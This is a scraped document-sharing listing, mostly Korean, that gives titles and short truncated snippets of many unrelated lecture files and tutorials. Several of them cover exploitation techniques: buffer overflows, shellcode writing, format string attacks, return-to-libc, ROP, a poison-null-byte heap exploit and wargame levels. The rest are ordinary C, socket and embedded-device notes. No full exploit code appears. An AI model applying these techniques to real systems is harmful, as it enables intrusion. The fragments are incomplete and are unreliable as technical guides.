PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow

More information

Microsoft Word - building the win32 shellcode 01.doc

Microsoft Word - building the win32 shellcode 01.doc Win32 Attack 1. Local Shellcode 작성방법 By 달고나 (Dalgona@wowhacker.org) Email: zinwon@gmail.com Abstract 이글은 MS Windows 환경에서 shellcode 를작성하는방법에대해서설명하고있다. Win32 는 *nix 환경과는사뭇다른 API 호출방식을사용하기때문에조금복잡하게둘러서 shellcode

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

hlogin2

hlogin2 0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Deok9_Exploit Technique

Deok9_Exploit Technique Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security

More information

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

Computer Security Chapter 08. Format String 김동진   1 Secure Software Lab. Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

History

History [Document Information] Title : History Of Buffer Over Flow VOL. 1 Date : 2007. 3. 28 Author : hardsoju Contact : E-Mail(hardsoju@hanmail.net) 1 [Index] 1. 개요 2. 환경변수의이해 2.1 eggshell 을이용한 root shell 획득

More information

강의10

강의10 Computer Programming gdb and awk 12 th Lecture 김현철컴퓨터공학부서울대학교 순서 C Compiler and Linker 보충 Static vs Shared Libraries ( 계속 ) gdb awk Q&A Shared vs Static Libraries ( 계속 ) Advantage of Using Libraries Reduced

More information

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

02.Create a shellcode that executes /bin/sh Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes /bin/sh C 02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Network Programming Jo, Heeseung Network 실습 네트워크프로그래밍 멀리떨어져있는호스트들이서로데이터를주고받을수있도록프로그램을구현하는것 파일과는달리데이터를주고받을대상이멀리떨어져있기때문에소프트웨어차원에서호스트들간에연결을해주는장치가필요 이러한기능을해주는장치로소켓이라는인터페이스를많이사용 소켓프로그래밍이란용어와네트워크프로그래밍이랑용어가같은의미로사용

More information

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074> Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법

More information

Microsoft PowerPoint - chap05-제어문.pptx

Microsoft PowerPoint - chap05-제어문.pptx int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); 1 학습목표 제어문인,, 분기문에 대해 알아본다. 인 if와 switch의 사용 방법과 사용시 주의사항에 대해 알아본다.

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED Controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-SEGMENT DEVICE CONTROL - DEVICE DRIVER Jo, Heeseung 디바이스드라이버구현 : 7-SEGMENT HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 디바이스드라이버구현 : 7-SEGMENT 6-Digit 7-Segment LED

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

Reusing Dynamic Linker For Exploitation Author :  Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 7-Segment Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 의 M3 Module 에는 6 자리를가지는 7-Segment 모듈이아래그림처럼실장 6 Digit 7-Segment 2 6-Digit 7-Segment LED controller 16비트로구성된 2개의레지스터에의해제어 SEG_Sel_Reg(Segment

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

1장. 유닉스 시스템 프로그래밍 개요

1장.  유닉스 시스템 프로그래밍 개요 Unix 프로그래밍및실습 7 장. 시그널 - 과제보충 응용과제 1 부모프로세스는반복해서메뉴를출력하고사용자로부터주문을받아자식프로세스에게주문내용을알린다. (SIGUSR1) ( 일단주문을받으면음식이완료되기전까지 SIGUSR1 을제외한다른시그널은모두무시 ) timer 자식프로세스는주문을받으면조리를시작한다. ( 일단조리를시작하면음식이완성되기전까지 SIGALARM 을제외한다른시그널은모두무시

More information

슬라이드 1

슬라이드 1 / 유닉스시스템개요 / 파일 / 프로세스 01 File Descriptor file file descriptor file type unix 에서의파일은단지바이트들의나열임 operating system 은파일에어떤포맷도부과하지않음 파일의내용은바이트단위로주소를줄수있음 file descriptor 는 0 이나양수임 file 은 open 이나 creat 로 file

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 KeyPad Device Control - Device driver Jo, Heeseung HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착 4x4 Keypad 2 KeyPad 를제어하기위하여 FPGA 내부에 KeyPad controller 가구현 KeyPad controller 16bit 로구성된

More information

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단

목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF 개발환경및사용툴 Shellcode 작성하기... 4 가. cmd 쉘 ) 소스코드작성 ) 디스어셈블리 ) 어셈블리코드편집 간단 기술문서 `09. 11. 02. 작성 Windows Buffer Overflow Attack 작성자 : 영남대학교정보보호연구학회 @Xpert 김슬예나 prehea@ynu.ac.kr 1 목차 1. 소개... 3 가. BOF란?... 3 나. 윈도우 BOF... 3 2. 개발환경및사용툴... 3 3. Shellcode 작성하기... 4 가. cmd 쉘... 4

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F > 10주차 문자 LCD 의인터페이스회로및구동함수 Next-Generation Networks Lab. 5. 16x2 CLCD 모듈 (HY-1602H-803) 그림 11-18 19 핀설명표 11-11 번호 분류 핀이름 레벨 (V) 기능 1 V SS or GND 0 GND 전원 2 V Power DD or V CC +5 CLCD 구동전원 3 V 0 - CLCD 명암조절

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

Tcl의 문법

Tcl의 문법 월, 01/28/2008-20:50 admin 은 상당히 단순하고, 커맨드의 인자를 스페이스(공백)로 단락을 짓고 나열하는 정도입니다. command arg1 arg2 arg3... 한행에 여러개의 커맨드를 나열할때는, 세미콜론( ; )으로 구분을 짓습니다. command arg1 arg2 arg3... ; command arg1 arg2 arg3... 한행이

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

RTL

RTL All about RTL ( Return To Library ) By Wr4ith [ 목차 ] 1. 개요 2. 등장배경 3. 실습 1. 개요 기존의시스템해킹기법중일부인 BoF/FSB 등은대부분직접만든쉘코드를이용 하여 root 권한을취득하는것이일반적이였다. 하지만 RTL 기법은쉘코드가필요 없는기법이다. RTL 의핵심은함수에필로그과정에서 RET 영역에 libc

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Microsoft PowerPoint - chap13-입출력라이브러리.pptx #include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co

INTRO Basic architecture of modern computers Basic and most used assembly instructions on x86 Installing an assembly compiler and RE tools Practice co Basic reverse engineering on x86 This is for those who want to learn about basic reverse engineering on x86 (Feel free to use this, email me if you need a keynote version.) v0.1 SeungJin Beist Lee beist@grayhash.com

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

Return-to-libc

Return-to-libc Return-to-libc Mini (skyclad0x7b7@gmail.com) 2015-08-22 - INDEX - 1. 개요... - 2-1-1. 서문... - 2-1-2. RTL 공격이란... - 2 - 보호기법... - 3 - Libc 란?... - 4-2. RTL 공격... - 4-2-1. 취약한코드... - 4-2-2. 분석... - 5-2-3.

More information

PowerPoint Presentation

PowerPoint Presentation 객체지향프로그래밍 클래스, 객체, 메소드 ( 실습 ) 손시운 ssw5176@kangwon.ac.kr 예제 1. 필드만있는클래스 텔레비젼 2 예제 1. 필드만있는클래스 3 예제 2. 여러개의객체생성하기 4 5 예제 3. 메소드가추가된클래스 public class Television { int channel; // 채널번호 int volume; // 볼륨 boolean

More information

chap7.key

chap7.key 1 7 C 2 7.1 C (System Calls) Unix UNIX man Section 2 C. C (Library Functions) C 1975 Dennis Ritchie ANSI C Standard Library 3 (system call). 4 C?... 5 C (text file), C. (binary file). 6 C 1. : fopen( )

More information

CD 무결성체크는 SKIP 을해도좋습니다. Next 버튼을누릅니다. Next 버튼을누릅니다.

CD 무결성체크는 SKIP 을해도좋습니다. Next 버튼을누릅니다. Next 버튼을누릅니다. :: F.T.Z 복구매뉴얼 :: Redhat 9.0 설치 F.T.Z는 Redhat 9.0 리눅스운영체제를기반으로구성되어있습니다. Redhat 9.0은비교적낮은버전의배포본에속하는데, 이처럼낮은버전을이용하는이유는최신리눅스배포본들의경우 Buffer Overflow 등취약점공격에대한보안장치가뛰어나서초보들이쉽게공략하기힘들기때문입니다. 반면 Redhat 9.0은 Buffer

More information

vi 사용법

vi 사용법 네트워크프로그래밍 6 장과제샘플코드 - 1:1 채팅 (udp 버전 ) 과제 서버에서먼저 bind 하고그포트를다른사람에게알려줄것 클라이언트에서알려준포트로접속 서로간에키보드입력을받아상대방에게메시지전송 2 Makefile 1 SRC_DIR =../../common 2 COM_OBJS = $(SRC_DIR)/addressUtility.o $(SRC_DIR)/dieWithMessage.o

More information

고급 IPC 설비

고급 IPC 설비 고급프로세스갂통싞 #2 세마포어 네델란드의 E.W.Dijikstra 가프로세스동기화문제의해결방안으로제시 p( ) 또는 wait( ) if (sem!= 0) decrement sem by 1 else v( ) 또는 signal( ) wait until sem become non-zero, then decrement increment sem by one if (queue

More information

작성자 : 기술지원부 김 삼 수

작성자 : 기술지원부 김 삼 수 작성자 : 기술지원부김삼수 qpopper 설치 qpopper란무엇인가? 메일수신을하기위해필요한프로그램으로 qpopper는가장인기있는 email 클라이언트에의해사용되는인터넷 email 다운로딩을위한 POP3프로토콜을사용합니다. 그러나 qpopper는 sendmail이나 smail과같이 SMTP프로토콜은포함하고있지않습니다. (

More information

61 62 63 64 234 235 p r i n t f ( % 5 d :, i+1); g e t s ( s t u d e n t _ n a m e [ i ] ) ; if (student_name[i][0] == \ 0 ) i = MAX; p r i n t f (\ n :\ n ); 6 1 for (i = 0; student_name[i][0]!= \ 0&&

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

untitled

untitled 시스템소프트웨어 : 운영체제, 컴파일러, 어셈블러, 링커, 로더, 프로그래밍도구등 소프트웨어 응용소프트웨어 : 워드프로세서, 스프레드쉬트, 그래픽프로그램, 미디어재생기등 1 n ( x + x +... + ) 1 2 x n 00001111 10111111 01000101 11111000 00001111 10111111 01001101 11111000

More information

Chapter_06

Chapter_06 프로그래밍 1 1 Chapter 6. Functions and Program Structure April, 2016 Dept. of software Dankook University http://embedded.dankook.ac.kr/~baeksj 이장의강의목표 2 문자의입력방법을이해한다. 중첩된 if문을이해한다. while 반복문의사용법을익힌다. do 반복문의사용법을익힌다.

More information

제1장 Unix란 무엇인가?

제1장  Unix란 무엇인가? 1 12 장파이프 2 12.1 파이프 파이프원리 $ who sort 파이프 3 물을보내는수도파이프와비슷 한프로세스는쓰기용파일디스크립터를이용하여파이프에데이터를보내고 ( 쓰고 ) 다른프로세스는읽기용파일디스크립터를이용하여그파이프에서데이터를받는다 ( 읽는다 ). 한방향 (one way) 통신 파이프생성 파이프는두개의파일디스크립터를갖는다. 하나는쓰기용이고다른하나는읽기용이다.

More information

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - ch07 - 포인터 pm0415 2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자

More information

C++ Programming

C++ Programming C++ Programming 예외처리 Seo, Doo-okok clickseo@gmail.com http://www.clickseo.com 목 차 예외처리 2 예외처리 예외처리 C++ 의예외처리 예외클래스와객체 3 예외처리 예외를처리하지않는프로그램 int main() int a, b; cout > a >> b; cout

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

슬라이드 1

슬라이드 1 CHAP 2: 순환 (Recursion) 순환 (recursion) 이란? 알고리즘이나함수가수행도중에자기자신을다시호출하여문제를해결하는기법 정의자체가순환적으로 되어있는경우에적합한방법 순환 (recursion) 의예 팩토리얼값구하기 피보나치수열 1 n! n*( n 1)! fib( n) 0 1 fib( n 2) n n 0 ` 1 fib( n 1) if n 0 if

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4

0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x = (12 + 6) / 2 * 3; x = 27 x = 3 * (8 / 4 Introduction to software design 2012-1 Final 2012.06.13 16:00-18:00 Student ID: Name: - 1 - 0. 표지에이름과학번을적으시오. (6) 1. 변수 x, y 가 integer type 이라가정하고다음빈칸에 x 와 y 의계산결과값을적으시오. (5) x = (3 + 7) * 6; x = 60 x

More information

歯7장.PDF

歯7장.PDF 7 Hello!! C 2 . 3 ([] ) < > [ ]; int array[10]; < > [ ][ ]; int array [3] [5]; 4 < > [ ]={ x1,,x10} ( ); (,). ({}). : int array[10]={1,2,3,4,5,6,7,8,9,10}; (" "). : char array[7]="turbo-c"; 5 int array[2][3]={{1,2},{3,4},{5,6}};

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

chap7.PDF

chap7.PDF 7 Hello!! C 2 . 3 ([] ) < > [ ]; int array[10]; < > [ ][ ]; int array [3] [5]; 4 < > [ ]={ x1,,x10} ( ); (,). ({}). : int array[10]={1,2,3,4,5,6,7,8,9,10}; (" "). : char array[7]="turbo-c"; 5 int array[2][3]={{1,2},{3,4},{5,6}};

More information

歯9장.PDF

歯9장.PDF 9 Hello!! C printf() scanf() getchar() putchar() gets() puts() fopen() fclose() fprintf() fscant() fgetc() fputs() fgets() gputs() fread() fwrite() fseek() ftell() I/O 2 (stream) C (text stream) : `/n'

More information

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - (Asynchronous Mode) - - - ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 - UART (Univ ers al As y nchronous Receiver / T rans mitter) 8250A 8250A { COM1(3F8H). - Line Control Register

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 소켓프로그래밍활용 IT CookBook, 유닉스시스템프로그래밍 학습목표 소켓인터페이스를활용한다양한프로그램을작성할수있다. 2/23 목차 TCP 기반프로그래밍 반복서버 동시동작서버 동시동작서버-exec함수사용하기 동시동작서버-명령행인자로소켓기술자전달하기 UDP 프로그래밍 3/23 TCP 기반프로그래밍 반복서버 데몬프로세스가직접모든클라이언트의요청을차례로처리 동시동작서버

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Text-LCD Device Control - Device driver Jo, Heeseung M3 모듈에장착되어있는 Tedxt LCD 장치를제어하는 App 을개발 TextLCD 는영문자와숫자일본어, 특수문자를표현하는데사용되는디바이스 HBE-SM5-S4210 의 TextLCD 는 16 문자 *2 라인을 Display 할수있으며, 이 TextLCD 를제어하기위하여

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

11장 포인터

11장 포인터 쉽게풀어쓴 C 언어 Express 제 12 장문자와문자열 이번장에서학습할내용 문자표현방법 문자열표현방법 문자열이란무엇인가? 문자열의입출력 문자처리라이브러리함수 표준입출력라이브러리함수 인간은문자를사용하여정보를표현하므로문자열은프로그램에서중요한위치를차지하고있다. 이번장에서는 C 에서의문자열처리방법에대하여자세히살펴볼것이다. 문자의중요성 인간한테텍스트는대단히중요하다.

More information

Microsoft PowerPoint - polling.pptx

Microsoft PowerPoint - polling.pptx 지현석 (binish@home.cnu.ac.kr) http://binish.or.kr Index 이슈화된키보드해킹 최근키보드해킹이슈의배경지식 Interrupt VS polling What is polling? Polling pseudo code Polling 을이용한키로거분석 방어기법연구 이슈화된키보드해킹 키보드해킹은연일상한가! 주식, 펀드투자의시기?! 최근키보드해킹이슈의배경지식

More information

11장 포인터

11장 포인터 Dynamic Memory and Linked List 1 동적할당메모리의개념 프로그램이메모리를할당받는방법 정적 (static) 동적 (dynamic) 정적메모리할당 프로그램이시작되기전에미리정해진크기의메모리를할당받는것 메모리의크기는프로그램이시작하기전에결정 int i, j; int buffer[80]; char name[] = data structure"; 처음에결정된크기보다더큰입력이들어온다면처리하지못함

More information

중간고사

중간고사 중간고사 예제 1 사용자로부터받은두개의숫자 x, y 중에서큰수를찾는알고리즘을의사코드로작성하시오. Step 1: Input x, y Step 2: if (x > y) then MAX

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

